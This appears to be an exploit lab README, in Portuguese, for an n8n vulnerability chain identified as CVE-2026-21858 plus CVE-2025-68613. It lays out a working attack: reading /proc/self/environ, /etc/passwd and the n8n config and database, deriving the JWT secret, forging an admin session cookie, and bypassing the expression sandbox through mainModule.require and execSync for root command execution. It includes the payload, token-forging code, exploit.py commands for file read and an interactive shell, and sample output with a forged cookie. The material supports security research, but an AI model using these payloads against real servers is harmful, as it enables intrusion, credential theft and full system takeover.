┌───────────────────────────────────────────────────────────┐
│                     NÃO AUTENTICADO                        │
├───────────────────────────────────────────────────────────┤
│  1. Ler /proc/self/environ → Encontrar diretório HOME     │
│  2. Ler $HOME/.n8n/config → Obter encryptionKey           │
│  3. Ler $HOME/.n8n/database.sqlite → Obter credenciais    │
├───────────────────────────────────────────────────────────┤
│                      FORJA DE TOKEN                        │
├───────────────────────────────────────────────────────────┤
│  4. Derivar segredo JWT a partir de encryptionKey          │
│  5. Forjar cookie de sessão admin                          │
├───────────────────────────────────────────────────────────┤
│                    RCE AUTENTICADO                          │
├───────────────────────────────────────────────────────────┤
│  6. Criar workflow com injeção de expressão                │
│  7. Bypass de sandbox via this.process.mainModule.require  │
│  8. Executar comandos arbitrários                          │
└───────────────────────────────────────────────────────────┘

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

// ANTES (vulnerável)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// DEPOIS (corrigido)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

# Derivação do segredo JWT
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# Hash JWT
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forjar token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

docker compose up -d
# Aguarde ~60 segundos para configuração
# Formulário: http://localhost:5678/form/vulnerable-form
# Credenciais: [email protected] / ExploitLab123!

# Ler arquivo arbitrário
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Cadeia completa com comando
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Shell interativo
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}